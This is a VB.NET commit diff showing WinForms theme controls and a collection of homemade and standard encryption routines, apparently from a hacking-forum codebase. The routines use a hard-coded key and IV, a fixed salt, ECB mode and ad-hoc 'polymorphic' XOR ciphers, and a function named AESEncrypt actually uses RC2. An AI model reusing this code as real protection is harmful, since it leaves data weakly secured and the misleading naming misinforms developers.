initial commit

This commit is contained in:
i2p
2026-08-27 11:04:21 -06:00
commit 07a49a8c50
937 changed files with 196477 additions and 0 deletions
Binary file not shown.
@@ -0,0 +1,370 @@
Imports System.Drawing.Drawing2D
'Controls created by Aeonhack
'http://www.youtube.com/aeonhack
Public Class Draw
Shared Sub Gradient(ByVal g As Graphics, ByVal c1 As Color, ByVal c2 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer)
Dim R As New Rectangle(x, y, width, height)
Using T As New LinearGradientBrush(R, c1, c2, LinearGradientMode.Vertical)
g.FillRectangle(T, R)
End Using
End Sub
Shared Sub Blend(ByVal g As Graphics, ByVal c1 As Color, ByVal c2 As Color, ByVal c3 As Color, ByVal c As Single, ByVal d As Integer, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer)
Dim V As New ColorBlend(3)
V.Colors = New Color() {c1, c2, c3}
V.Positions = New Single() {0, c, 1}
Dim R As New Rectangle(x, y, width, height)
Using T As New LinearGradientBrush(R, c1, c1, CType(d, LinearGradientMode))
T.InterpolationColors = V : g.FillRectangle(T, R)
End Using
End Sub
End Class
'Pearl Theme
Public Class PTheme : Inherits Control
Private _TitleHeight As Integer = 25
Public Property TitleHeight() As Integer
Get
Return _TitleHeight
End Get
Set(ByVal v As Integer)
If v > Height Then v = Height
If v < 2 Then Height = 1
_TitleHeight = v : Invalidate()
End Set
End Property
Private _TitleAlign As HorizontalAlignment
Public Property TitleAlign() As HorizontalAlignment
Get
Return _TitleAlign
End Get
Set(ByVal v As HorizontalAlignment)
_TitleAlign = v : Invalidate()
End Set
End Property
Protected Overrides Sub OnHandleCreated(ByVal e As System.EventArgs)
Dock = 5
If TypeOf Parent Is Form Then CType(Parent, Form).FormBorderStyle = 0
MyBase.OnHandleCreated(e)
End Sub
Protected Overrides Sub OnMouseDown(ByVal e As System.Windows.Forms.MouseEventArgs)
If New Rectangle(Parent.Location.X, Parent.Location.Y, Width - 1, _TitleHeight - 1).IntersectsWith(New Rectangle(MousePosition.X, MousePosition.Y, 1, 1)) Then
Capture = False : Dim M = Message.Create(Parent.Handle, 161, 2, 0) : DefWndProc(M)
End If : MyBase.OnMouseDown(e)
End Sub
Dim C1 As Color = Color.FromArgb(240, 240, 240), C2 As Color = Color.FromArgb(230, 230, 230), C3 As Color = Color.FromArgb(190, 190, 190)
Protected Overrides Sub OnPaintBackground(ByVal pevent As System.Windows.Forms.PaintEventArgs)
End Sub
Protected Overrides Sub OnPaint(ByVal e As System.Windows.Forms.PaintEventArgs)
Using B As New Bitmap(Width, Height)
Using G = Graphics.FromImage(B)
G.Clear(Color.FromArgb(245, 245, 245))
Draw.Blend(G, Color.White, C2, C1, 0.7, 1, 0, 0, Width, _TitleHeight)
G.FillRectangle(New SolidBrush(Color.FromArgb(80, 255, 255, 255)), 0, 0, Width, CInt(_TitleHeight / 2))
G.DrawRectangle(New Pen(Color.FromArgb(100, 255, 255, 255)), 1, 1, Width - 3, _TitleHeight - 2)
Dim S = G.MeasureString(Text, Font), O = 6
If _TitleAlign = 2 Then O = Width / 2 - S.Width / 2
If _TitleAlign = 1 Then O = Width - S.Width - 6
G.DrawString(Text, Font, New SolidBrush(C3), O, CInt(_TitleHeight / 2 - S.Height / 2))
G.DrawLine(New Pen(C3), 0, _TitleHeight, Width, _TitleHeight)
G.DrawLine(Pens.White, 0, _TitleHeight + 1, Width, _TitleHeight + 1)
G.DrawRectangle(New Pen(C3), 0, 0, Width - 1, Height - 1)
e.Graphics.DrawImage(B.Clone, 0, 0)
End Using
End Using
End Sub
End Class
Public Class PButton : Inherits Control
Sub New()
ForeColor = C3
End Sub
Private State As Integer
Protected Overrides Sub OnMouseEnter(ByVal e As System.EventArgs)
State = 1 : Invalidate() : MyBase.OnMouseEnter(e)
End Sub
Protected Overrides Sub OnMouseDown(ByVal e As System.Windows.Forms.MouseEventArgs)
State = 2 : Invalidate() : MyBase.OnMouseDown(e)
End Sub
Protected Overrides Sub OnMouseLeave(ByVal e As System.EventArgs)
State = 0 : Invalidate() : MyBase.OnMouseLeave(e)
End Sub
Protected Overrides Sub OnMouseUp(ByVal e As System.Windows.Forms.MouseEventArgs)
State = 1 : Invalidate() : MyBase.OnMouseUp(e)
End Sub
Dim C1 As Color = Color.FromArgb(240, 240, 240), C2 As Color = Color.FromArgb(230, 230, 230), C3 As Color = Color.FromArgb(190, 190, 190)
Protected Overrides Sub OnPaintBackground(ByVal pevent As System.Windows.Forms.PaintEventArgs)
End Sub
Protected Overrides Sub OnPaint(ByVal e As System.Windows.Forms.PaintEventArgs)
Using B As New Bitmap(Width, Height)
Using G = Graphics.FromImage(B)
If State = 2 Then
Draw.Gradient(G, C2, Color.WhiteSmoke, 1, 1, Width, Height)
Else
Draw.Gradient(G, Color.WhiteSmoke, C2, 1, 1, Width, Height)
End If
If State < 2 Then G.FillRectangle(New SolidBrush(Color.FromArgb(80, 255, 255, 255)), 0, 0, Width, CInt(Height * 0.3))
Dim S = G.MeasureString(Text, Font)
G.DrawString(Text, Font, New SolidBrush(ForeColor), Width / 2 - S.Width / 2, Height / 2 - S.Height / 2)
G.DrawRectangle(New Pen(C3), 0, 0, Width - 1, Height - 1)
e.Graphics.DrawImage(B.Clone, 0, 0)
End Using
End Using
End Sub
End Class
Public Class PProgress : Inherits Control
Private _Value As Integer
Public Property Value() As Integer
Get
Return _Value
End Get
Set(ByVal value As Integer)
_Value = value : Invalidate()
End Set
End Property
Private _Maximum As Integer = 100
Public Property Maximum() As Integer
Get
Return _Maximum
End Get
Set(ByVal value As Integer)
If value = 0 Then value = 1
_Maximum = value : Invalidate()
End Set
End Property
Dim C1 As Color = Color.FromArgb(240, 240, 240), C2 As Color = Color.FromArgb(230, 230, 230), C3 As Color = Color.FromArgb(190, 190, 190)
Protected Overrides Sub OnPaintBackground(ByVal pevent As System.Windows.Forms.PaintEventArgs)
End Sub
Protected Overrides Sub OnPaint(ByVal e As System.Windows.Forms.PaintEventArgs)
Dim V As Integer = Width * _Value / _Maximum
Using B As New Bitmap(Width, Height)
Using G = Graphics.FromImage(B)
Draw.Gradient(G, C2, C1, 1, 1, Width - 2, Height - 2)
G.DrawRectangle(New Pen(C2), 1, 1, V - 3, Height - 3)
Draw.Gradient(G, C1, C2, 2, 2, V - 4, Height - 4)
G.FillRectangle(New SolidBrush(Color.FromArgb(50, 255, 255, 255)), 2, 2, V - 4, CInt(Height / 2) - 2)
G.DrawRectangle(New Pen(C3), 0, 0, Width - 1, Height - 1)
e.Graphics.DrawImage(B.Clone, 0, 0)
End Using
End Using
End Sub
End Class
'Modern Theme
Public Class MTheme : Inherits Control
Private _TitleHeight As Integer = 25
Public Property TitleHeight() As Integer
Get
Return _TitleHeight
End Get
Set(ByVal v As Integer)
If v > Height Then v = Height
If v < 2 Then Height = 1
_TitleHeight = v : Invalidate()
End Set
End Property
Private _TitleAlign As HorizontalAlignment = 2
Public Property TitleAlign() As HorizontalAlignment
Get
Return _TitleAlign
End Get
Set(ByVal v As HorizontalAlignment)
_TitleAlign = v : Invalidate()
End Set
End Property
Protected Overrides Sub OnHandleCreated(ByVal e As System.EventArgs)
Dock = 5
If TypeOf Parent Is Form Then CType(Parent, Form).FormBorderStyle = 0
MyBase.OnHandleCreated(e)
End Sub
Protected Overrides Sub OnMouseDown(ByVal e As System.Windows.Forms.MouseEventArgs)
If New Rectangle(Parent.Location.X, Parent.Location.Y, Width - 1, _TitleHeight - 1).IntersectsWith(New Rectangle(MousePosition.X, MousePosition.Y, 1, 1)) Then
Capture = False : Dim M = Message.Create(Parent.Handle, 161, 2, 0) : DefWndProc(M)
End If : MyBase.OnMouseDown(e)
End Sub
Dim C1 As Color = Color.FromArgb(74, 74, 74), C2 As Color = Color.FromArgb(63, 63, 63), C3 As Color = Color.FromArgb(41, 41, 41), _
C4 As Color = Color.FromArgb(27, 27, 27), C5 As Color = Color.FromArgb(0, 0, 0, 0), C6 As Color = Color.FromArgb(25, 255, 255, 255)
Protected Overrides Sub OnPaintBackground(ByVal pevent As System.Windows.Forms.PaintEventArgs)
End Sub
Protected Overrides Sub OnPaint(ByVal e As System.Windows.Forms.PaintEventArgs)
Using B As New Bitmap(Width, Height)
Using G = Graphics.FromImage(B)
G.Clear(C3)
Draw.Gradient(G, C4, C3, 0, 0, Width, _TitleHeight)
Dim S = G.MeasureString(Text, Font), O = 6
If _TitleAlign = 2 Then O = Width / 2 - S.Width / 2
If _TitleAlign = 1 Then O = Width - S.Width - 6
Dim R As New Rectangle(O, (_TitleHeight + 2) / 2 - S.Height / 2, S.Width, S.Height)
Using T As New LinearGradientBrush(R, C1, C3, LinearGradientMode.Vertical)
G.DrawString(Text, Font, T, R)
End Using
G.DrawLine(New Pen(C3), 0, 1, Width, 1)
Draw.Blend(G, C5, C6, C5, 0.5, 0, 0, _TitleHeight + 1, Width, 1)
G.DrawLine(New Pen(C4), 0, _TitleHeight, Width, _TitleHeight)
G.DrawRectangle(New Pen(C4), 0, 0, Width - 1, Height - 1)
e.Graphics.DrawImage(B.Clone, 0, 0)
End Using
End Using
End Sub
End Class
Public Class MButton : Inherits Control
Sub New()
ForeColor = Color.FromArgb(65, 65, 65)
End Sub
Private State As Integer
Protected Overrides Sub OnMouseEnter(ByVal e As System.EventArgs)
State = 1 : Invalidate() : MyBase.OnMouseEnter(e)
End Sub
Protected Overrides Sub OnMouseDown(ByVal e As System.Windows.Forms.MouseEventArgs)
State = 2 : Invalidate() : MyBase.OnMouseDown(e)
End Sub
Protected Overrides Sub OnMouseLeave(ByVal e As System.EventArgs)
State = 0 : Invalidate() : MyBase.OnMouseLeave(e)
End Sub
Protected Overrides Sub OnMouseUp(ByVal e As System.Windows.Forms.MouseEventArgs)
State = 1 : Invalidate() : MyBase.OnMouseUp(e)
End Sub
Dim C1 As Color = Color.FromArgb(31, 31, 31), C2 As Color = Color.FromArgb(41, 41, 41), C3 As Color = Color.FromArgb(51, 51, 51), _
C4 As Color = Color.FromArgb(0, 0, 0, 0), C5 As Color = Color.FromArgb(25, 255, 255, 255)
Protected Overrides Sub OnPaintBackground(ByVal pevent As System.Windows.Forms.PaintEventArgs)
End Sub
Protected Overrides Sub OnPaint(ByVal e As System.Windows.Forms.PaintEventArgs)
Using B As New Bitmap(Width, Height)
Using G = Graphics.FromImage(B)
G.DrawRectangle(New Pen(C1), 0, 0, Width - 1, Height - 1)
If State = 2 Then
Draw.Gradient(G, C2, C3, 1, 1, Width - 2, Height - 2)
Else
Draw.Gradient(G, C3, C2, 1, 1, Width - 2, Height - 2)
End If
Dim O = G.MeasureString(Text, Font)
G.DrawString(Text, Font, New SolidBrush(ForeColor), Width / 2 - O.Width / 2, Height / 2 - O.Height / 2)
Draw.Blend(G, C4, C5, C4, 0.5, 0, 1, 1, Width - 2, 1)
e.Graphics.DrawImage(B.Clone, 0, 0)
End Using
End Using
End Sub
End Class
Public Class MProgress : Inherits Control
Private _Value As Integer
Public Property Value() As Integer
Get
Return _Value
End Get
Set(ByVal value As Integer)
_Value = value : Invalidate()
End Set
End Property
Private _Maximum As Integer = 100
Public Property Maximum() As Integer
Get
Return _Maximum
End Get
Set(ByVal value As Integer)
If value = 0 Then value = 1
_Maximum = value : Invalidate()
End Set
End Property
Dim C1 As Color = Color.FromArgb(31, 31, 31), C2 As Color = Color.FromArgb(41, 41, 41), C3 As Color = Color.FromArgb(51, 51, 51), _
C4 As Color = Color.FromArgb(0, 0, 0, 0), C5 As Color = Color.FromArgb(25, 255, 255, 255)
Protected Overrides Sub OnPaintBackground(ByVal pevent As System.Windows.Forms.PaintEventArgs)
End Sub
Protected Overrides Sub OnPaint(ByVal e As System.Windows.Forms.PaintEventArgs)
Dim V As Integer = Width * _Value / _Maximum
Using B As New Bitmap(Width, Height)
Using G = Graphics.FromImage(B)
Draw.Gradient(G, C2, C3, 1, 1, Width - 2, Height - 2)
G.DrawRectangle(New Pen(C2), 1, 1, V - 3, Height - 3)
Draw.Gradient(G, C3, C2, 2, 2, V - 4, Height - 4)
G.DrawRectangle(New Pen(C1), 0, 0, Width - 1, Height - 1)
e.Graphics.DrawImage(B.Clone, 0, 0)
End Using
End Using
End Sub
End Class
'Electron Theme
Public Class ETheme : Inherits Control
Private _TitleHeight As Integer = 25
Public Property TitleHeight() As Integer
Get
Return _TitleHeight
End Get
Set(ByVal v As Integer)
If v > Height Then v = Height
If v < 2 Then Height = 1
_TitleHeight = v : Invalidate()
End Set
End Property
Private _TitleAlign As HorizontalAlignment = 2
Public Property TitleAlign() As HorizontalAlignment
Get
Return _TitleAlign
End Get
Set(ByVal v As HorizontalAlignment)
_TitleAlign = v : Invalidate()
End Set
End Property
Protected Overrides Sub OnHandleCreated(ByVal e As System.EventArgs)
Dock = 5
If TypeOf Parent Is Form Then CType(Parent, Form).FormBorderStyle = 0
MyBase.OnHandleCreated(e)
End Sub
Protected Overrides Sub OnMouseDown(ByVal e As System.Windows.Forms.MouseEventArgs)
If New Rectangle(Parent.Location.X, Parent.Location.Y, Width - 1, _TitleHeight - 1).IntersectsWith(New Rectangle(MousePosition.X, MousePosition.Y, 1, 1)) Then
Capture = False : Dim M = Message.Create(Parent.Handle, 161, 2, 0) : DefWndProc(M)
End If : MyBase.OnMouseDown(e)
End Sub
Dim C1 As Color = Color.FromArgb(0, 70, 114), C2 As Color = Color.FromArgb(0, 47, 78), C3 As Color = Color.FromArgb(0, 34, 57), _
C4 As Color = Color.FromArgb(0, 30, 50)
Protected Overrides Sub OnPaintBackground(ByVal pevent As System.Windows.Forms.PaintEventArgs)
End Sub
Protected Overrides Sub OnPaint(ByVal e As System.Windows.Forms.PaintEventArgs)
Using B As New Bitmap(Width, Height)
Using G = Graphics.FromImage(B)
G.Clear(C3)
Draw.Blend(G, C2, C3, C1, 0.5, 1, 0, 0, Width, _TitleHeight)
G.FillRectangle(New SolidBrush(Color.FromArgb(15, 255, 255, 255)), 1, 1, Width - 2, CInt(_TitleHeight / 2) - 2)
G.DrawRectangle(New Pen(Color.FromArgb(35, 255, 255, 255)), 1, 1, Width - 3, _TitleHeight - 2)
Dim S = G.MeasureString(Text, Font), O = 6
If _TitleAlign = 2 Then O = Width / 2 - S.Width / 2
If _TitleAlign = 1 Then O = Width - S.Width - 14
Dim V = CInt(_TitleHeight / 2 - (S.Height + 4) / 2)
Draw.Gradient(G, C3, C2, O, V, S.Width + 8, S.Height + 4)
G.DrawRectangle(New Pen(C3), O, V, S.Width + 7, S.Height + 3)
Dim R As New Rectangle(O + 4, CInt(_TitleHeight / 2 - S.Height / 2), S.Width, S.Height)
Using T As New LinearGradientBrush(R, C1, C2, LinearGradientMode.Vertical)
G.DrawString(Text, Font, T, R)
End Using
G.DrawRectangle(New Pen(C1), 1, _TitleHeight + 1, Width - 3, Height - _TitleHeight - 3)
G.DrawLine(New Pen(C4), 0, _TitleHeight, Width, _TitleHeight)
G.DrawRectangle(New Pen(C4), 0, 0, Width - 1, Height - 1)
e.Graphics.DrawImage(B.Clone, 0, 0)
End Using
End Using
End Sub
End Class
+827
View File
@@ -0,0 +1,827 @@
Imports System.Security.Cryptography
Imports System.Text
Imports System.IO
Public Class Encryption_Algorithms
Public Class PolyMorphicStairs
Overloads Shared Function PolyCrypt(ByVal Data As String, ByVal Key As String, Optional ByVal ExtraRounds As UInteger = 0) As String
Dim buff() As Byte = PolyCrypt(Encoding.Default.GetBytes(Data), Encoding.Default.GetBytes(Key), ExtraRounds)
PolyCrypt = Encoding.Default.GetString(buff)
Erase buff
End Function
Overloads Shared Function PolyDeCrypt(ByVal Data As String, ByVal Key As String, Optional ByVal ExtraRounds As UInteger = 0) As String
Dim buff() As Byte = PolyDeCrypt(Encoding.Default.GetBytes(Data), Encoding.Default.GetBytes(Key), ExtraRounds)
PolyDeCrypt = Encoding.Default.GetString(buff)
Erase buff
End Function
Overloads Shared Function PolyCrypt(ByRef Data() As Byte, ByVal Key() As Byte, Optional ByVal ExtraRounds As UInteger = 0) As Byte()
Array.Resize(Data, Data.Length + 1)
Data(Data.Length - 1) = Convert.ToByte(New Random().Next(1, 255))
For i = (Data.Length - 1) * (ExtraRounds + 1) To 0 Step -1
Data(i Mod Data.Length) = CByte(CInt((Data(i Mod Data.Length)) + CInt(Data((i + 1) Mod Data.Length))) Mod 256) Xor Key(i Mod Key.Length)
Next
Return Data
End Function
Overloads Shared Function PolyDeCrypt(ByRef Data() As Byte, ByVal Key() As Byte, Optional ByVal ExtraRounds As UInteger = 0) As Byte()
For i = 0 To (Data.Length - 1) * (ExtraRounds + 1)
Data(i Mod Data.Length) = CByte((CInt(Data(i Mod Data.Length) Xor Key(i Mod Key.Length)) - CInt(Data((i + 1) Mod Data.Length)) + 256) Mod 256)
Next
Array.Resize(Data, Data.Length - 1)
Return Data
End Function
End Class
Public Shared Function Rc4(ByVal bytes() As Byte, ByVal key() As Byte) As Byte()
Dim s(255) As Byte
Dim i As Integer
For i = 0 To s.Length - 1
s(i) = CByte(i)
Next
Dim j As Integer
For i = 0 To s.Length - 1
j = (j + key(i Mod key.Length) + s(i)) And 255
Dim temp As Byte = s(i)
s(i) = s(j)
s(j) = temp
Next
i = 0
j = 0
Dim output(bytes.Length - 1) As Byte
Dim k As Integer
For k = 0 To bytes.Length - 1
i = (i + 1) And 255
j = (j + s(i)) And 255
Dim temp As Byte = s(i)
s(i) = s(j)
s(j) = temp
output(k) = s((CType(s(i), Integer) + s(j)) And 255) Xor bytes(k)
Next
Return output
End Function
Public Shared Function PolyDec(ByVal Input As String) As String
Dim Output As String = Nothing
Dim SA() As String
SA = Input.Split("|")
For Each C As String In SA
Try
Output = Output & Chr(C - SA(0))
Catch
End Try
Next
Return Output.Remove(0, 1)
End Function
Public Shared Function PolyCrypt(ByVal Input As String) As String
Dim Output As String = Nothing
Dim R As New Random
Dim O As Integer = R.Next(10, 99)
Dim CA As Char()
CA = Input.ToCharArray
For Each C As Char In CA
Try
Output = Output & Asc(C) + O & "|"
Catch
End Try
Next
Return O & "|" & Output
End Function
Public Shared Function xEncryptionD(ByVal CodeKey As String, ByVal DataIn As String) As String
Dim lonDataPtr As Long
Dim strDataOut As String = ""
Dim intXOrValue1 As Integer
Dim intXOrValue2 As Integer
Dim H As String = "&H"
For lonDataPtr = 1 To (Len(DataIn) / 2)
intXOrValue1 = Val(H & (Mid$(DataIn, (2 * lonDataPtr) - 1, 2)))
intXOrValue2 = Asc(Mid$(CodeKey, ((lonDataPtr Mod Len(CodeKey)) + 1), 1))
strDataOut = strDataOut + Chr(intXOrValue1 Xor intXOrValue2)
Next lonDataPtr
xEncryptionD = strDataOut
End Function
Public Shared Function xEncryption(ByVal CodeKey As String, ByVal DataIn As String) As String
Dim lonDataPtr As Long
Dim strDataOut As String
Dim temp As Integer
Dim tempstring As String
Dim intXOrValue1 As Integer
Dim intXOrValue2 As Integer
For lonDataPtr = 1 To Len(DataIn)
intXOrValue1 = Asc(Mid$(DataIn, lonDataPtr, 1))
intXOrValue2 = Asc(Mid$(CodeKey, ((lonDataPtr Mod Len(CodeKey)) + 1), 1))
temp = (intXOrValue1 Xor intXOrValue2)
tempstring = Hex(temp)
If Len(tempstring) = 1 Then tempstring = "0" & tempstring
strDataOut = strDataOut + tempstring
Next lonDataPtr
xEncryption = strDataOut
End Function
Public Shared Function TripleDESdecrypt(ByVal b As String, ByVal c As String, ByVal d As Boolean) As String
Dim keyArray As Byte()
Dim toEncryptArray As Byte() = Convert.FromBase64String(b)
If d Then
Dim hashmd5 = New MD5CryptoServiceProvider()
keyArray = hashmd5.ComputeHash(UTF8Encoding.UTF8.GetBytes(c))
Else
keyArray = UTF8Encoding.UTF8.GetBytes(c)
End If
Dim tdes = New TripleDESCryptoServiceProvider()
tdes.Key = keyArray
tdes.Mode = CipherMode.ECB
tdes.Padding = PaddingMode.PKCS7
Dim cTransform As ICryptoTransform = tdes.CreateDecryptor()
Dim resultArray As Byte() = cTransform.TransformFinalBlock(toEncryptArray, 0, toEncryptArray.Length)
Return UTF8Encoding.UTF8.GetString(resultArray)
End Function
Public Shared Function TripleDES(ByVal toEncrypt As String, ByVal key As String, ByVal useHashing As Boolean) As String
Dim KeyArray As Byte()
Dim toEncryptArray As Byte() = UTF8Encoding.UTF8.GetBytes(toEncrypt)
If useHashing Then
Dim hashmd5 As New MD5CryptoServiceProvider()
KeyArray = hashmd5.ComputeHash(UTF8Encoding.UTF8.GetBytes(key))
Else
KeyArray = UTF8Encoding.UTF8.GetBytes(key)
End If
Dim TDES As New TripleDESCryptoServiceProvider()
TDES.Key = KeyArray
TDES.Mode = CipherMode.ECB
TDES.Padding = PaddingMode.PKCS7
Dim cTransform As ICryptoTransform = TDES.CreateEncryptor()
Dim resultArray As Byte() = cTransform.TransformFinalBlock(toEncryptArray, 0, toEncryptArray.Length)
Return Convert.ToBase64String(resultArray, 0, resultArray.Length)
End Function
Public Shared Function Rijndael(ByVal File As String, ByVal Key As String)
Dim oAesProvider As New RijndaelManaged
Dim btClear() As Byte
Dim btSalt() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8}
Dim oKeyGenerator As New Rfc2898DeriveBytes(Key, btSalt)
oAesProvider.Key = oKeyGenerator.GetBytes(oAesProvider.Key.Length)
oAesProvider.IV = oKeyGenerator.GetBytes(oAesProvider.IV.Length)
Dim ms As New IO.MemoryStream
Dim cs As New CryptoStream(ms, _
oAesProvider.CreateEncryptor(), _
CryptoStreamMode.Write)
btClear = System.Text.Encoding.UTF8.GetBytes(File)
cs.Write(btClear, 0, btClear.Length)
cs.Close()
File = Convert.ToBase64String(ms.ToArray)
Return File
End Function
Public Class PolyMorphic
'Variable for the Key.
Private sKey As String = ""
'Property, will Give us acces to the key.
Public Property Key() As String
Get
Return sKey
End Get
Set(ByVal value As String)
sKey = value
End Set
End Property
'Inisalization. (New Constructor)
Public Sub New(ByVal Key As String)
Me.Key = Key
End Sub
Public Sub New()
Me.Key = ""
End Sub
'This Will convert String to bytes,then call the other function.
Public Function PolyCrypt(ByVal Data As String) As String
Return Encoding.Default.GetString(PolyCrypt(Encoding.Default.GetBytes(Data)))
End Function
'This one also Will convert String to bytes,then call the other function.
Public Function PolyDeCrypt(ByVal Data As String) As String
Return Encoding.Default.GetString(PolyDeCrypt(Encoding.Default.GetBytes(Data)))
End Function
'Main PolyMorphic Encryption.
Public Function PolyCrypt(ByVal Data() As Byte) As Byte()
'We declare a byte array, just one byte bigger then the data.
Dim ReturnBuffer(Data.Length) As Byte
'we assain The first one with a random byte.
ReturnBuffer(0) = Convert.ToByte(New Random().Next(1, Convert.ToInt32(11111111, 2)))
'now for each byte in data
For i = Convert.ToInt32(0, 2) To Data.Length - Convert.ToInt32(1, 2)
'we add the previous byte to the next byte Mod 256. the first byte is random,
'so will will get random bytes all the way.
ReturnBuffer(i + Convert.ToInt32(1, 2)) = ModuloByte(ReturnBuffer(i), Data(i))
Next
'We Call the Selected Encryption to crypt the randomized Data.
Return XorCrypt(ReturnBuffer, Encoding.Default.GetBytes(Key))
End Function
'Main PolyMorphic Decryption.
Public Function PolyDeCrypt(ByVal Data() As Byte) As Byte()
'This Function is the exact reverse of the crypt function.
'we should Decrypt to get our last randomized data.
Data = XorCrypt(Data, Encoding.Default.GetBytes(Key))
'Now in the other function the return value is a one byte bigger array. lets remove that one
Dim ReturnBuffer(Data.Length - Convert.ToInt32(10, 2)) As Byte
'we started from Byte n# 0 to the last one. we'll play it reversed now.
For i = Data.Length - Convert.ToInt32(1, 2) To Convert.ToInt32(1, 2) Step -Convert.ToInt32(1, 2)
'We just remove The previous byte value from the current one Mod 256. simple
ReturnBuffer(i - Convert.ToInt32(1, 2)) = ModuloByte(Data(i), -Data(i - Convert.ToInt32(1, 2)))
Next
'That's it. The Buffer is one byte less then the data. Perfect. Return it.
Return ReturnBuffer
End Function
'A Positive Mod 256. This will prevent a non byte value. the result is always >= 0 and <= 255
Private Function ModuloByte(ByVal MyByte As Byte, ByVal Addition As Int16) As Byte
While Addition < Convert.ToInt32(0, 2)
'
Addition += Convert.ToInt32(100000000, 2)
End While
Return Convert.ToByte((MyByte + Addition) Mod Convert.ToInt32(100000000, 2))
End Function
'Xor Encryption.
Private Function XorCrypt(ByVal Data() As Byte, ByVal Key() As Byte) As Byte()
If Key.Length <> 0 Then
For i = Convert.ToInt32(0, 2) To Data.Length - Convert.ToInt32(1, 2)
Data(i) = Data(i) Xor ModuloByte(Key(i Mod Key.Length), [Key](Key(i Mod Key.Length) Mod Key.Length)) Xor [Key](((i + (i Mod Convert.ToInt32(111, 2))) Mod Key.Length) Mod Key.Length)
Next
End If
Return Data
End Function
Public Function XorCrypt(ByVal Data As String, ByVal Key As String) As String
Return Encoding.Default.GetString(XorCrypt(Encoding.Default.GetBytes(Data), Encoding.Default.GetBytes(Key)))
End Function
End Class
Public Class StairsEncryption
'Simple encryption for use
'coded by Miharbi-Dono from HF.
'Give Credits. don't just delete this comment, it won't hurt.
Public Shared Function Crypt(ByVal Data As String, ByVal key As String) As String
Return Encoding.Default.GetString(Crypt(Encoding.Default.GetBytes(Data), Encoding.Default.GetBytes(key)))
End Function
Public Shared Function Crypt(ByVal Data() As Byte, ByVal key() As Byte) As Byte()
For i = 0 To Data.Length - 1
Data(i) = CByte(CInt((Data(i)) + CInt(Data((i + 1) Mod Data.Length))) Mod 256) Xor key(i Mod key.Length)
Next
Return Data
End Function
Public Shared Function DeCrypt(ByVal Data As String, ByVal key As String) As String
Return Encoding.Default.GetString(DeCrypt(Encoding.Default.GetBytes(Data), Encoding.Default.GetBytes(key)))
End Function
Public Shared Function DeCrypt(ByVal Data() As Byte, ByVal key() As Byte) As Byte()
For i = Data.Length - 1 To 0 Step -1
Data(i) = CByte((CInt(Data(i) Xor key(i Mod key.Length)) - CInt(Data((i + 1) Mod Data.Length)) + 256) Mod 256)
Next
Return Data
End Function
End Class
Shared Function AESEncrypt(ByVal InputEncrypt As Byte())
Using A As New System.Security.Cryptography.RC2CryptoServiceProvider
A.IV = New Byte() {8, 7, 6, 5, 4, 3, 2, 1}
A.Key = New Byte() {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2, 3, 4, 5}
Return A.CreateEncryptor.TransformFinalBlock(InputEncrypt, 0, InputEncrypt.Length)
End Using
End Function
Public Shared Function RijndaelDecrypt(ByVal Decrypt As String, ByVal Key As String)
Dim oAesProvider As New RijndaelManaged
Dim btCipher() As Byte
Dim btSalt() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8}
Dim oKeyGenerator As New Rfc2898DeriveBytes(Key, btSalt)
oAesProvider.Key = oKeyGenerator.GetBytes(oAesProvider.Key.Length)
oAesProvider.IV = oKeyGenerator.GetBytes(oAesProvider.IV.Length)
Dim ms As New IO.MemoryStream
Dim cs As New CryptoStream(ms, oAesProvider.CreateDecryptor(), CryptoStreamMode.Write)
Try
btCipher = Convert.FromBase64String(Decrypt)
cs.Write(btCipher, 0, btCipher.Length)
cs.Close()
Decrypt = System.Text.Encoding.UTF8.GetString(ms.ToArray)
Catch
End Try
Return Decrypt
End Function
Public Class PolyRC4
Private Key As String = "sad87x6zucigedsjfguycxtiu4e75689374-w24098sdfhj-324iuysdjfbhsdjf"
Sub New(ByVal EncryptionKey As String)
Key = EncryptionKey
End Sub
Public Function Encrypt(ByVal message As String) As String
message = XX(message, Key)
Dim random As New Random()
Dim list1 As New ArrayList(), list2 As New ArrayList()
Dim out As String = ""
Dim num1 As Integer = random.[Next](1, 10255)
For i As Integer = 0 To message.Length - 1
Dim num2 As Integer = random.[Next](num1) '(&H7A) + &H44
list1.Add(Convert.ToInt32(message(i)) + num2)
list2.Add(num2)
Next
For j As Integer = 0 To message.Length - 1
out += ChrW(list1(j)) & ChrW(list2(j))
Next
Return out
End Function
Public Function Decrypt(ByVal message As String) As String
Dim numArray As Integer() = New Integer(message.Length - 1) {}
Dim temp As String = ""
For i As Integer = 0 To message.Length - 1
numArray(i) = Convert.ToInt32(message(i))
Next
For j As Integer = 0 To message.Length - 1 Step 2
Dim num3 As Integer = numArray(j)
Dim num4 As Integer = numArray(j + 1)
Dim num5 As Integer = num3 - num4
temp = temp + ChrW(num5)
Next
Return XX(temp, Key)
End Function
Public Shared Function XX(ByVal message As String, ByVal password As String) As String
Dim i As Integer = 0
Dim j As Integer = 0
Dim cipher As New StringBuilder
Dim returnCipher As String = String.Empty
Dim sbox As Integer() = New Integer(256) {}
Dim key As Integer() = New Integer(256) {}
Dim intLength As Integer = password.Length
Dim a As Integer = 0
While a <= 255
Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0))
key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp)
sbox(a) = a
System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
End While
Dim x As Integer = 0
Dim b As Integer = 0
While b <= 255
x = (x + sbox(b) + key(b)) Mod 256
Dim tempSwap As Integer = sbox(b)
sbox(b) = sbox(x)
sbox(x) = tempSwap
System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1)
End While
a = 1
While a <= message.Length
Dim itmp As Integer = 0
i = (i + 1) Mod 256
j = (j + sbox(i)) Mod 256
itmp = sbox(i)
sbox(i) = sbox(j)
sbox(j) = itmp
Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256)
Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0)
itmp = Asc(ctmp)
Dim cipherby As Integer = itmp Xor k
cipher.Append(Chr(cipherby))
System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
End While
returnCipher = cipher.ToString
cipher.Length = 0
Return returnCipher
End Function
End Class
Public Class RC2_With_Salt
'This is a simple way to use salt in a encryption. I modified the RC2 encryption and made it work with salting.
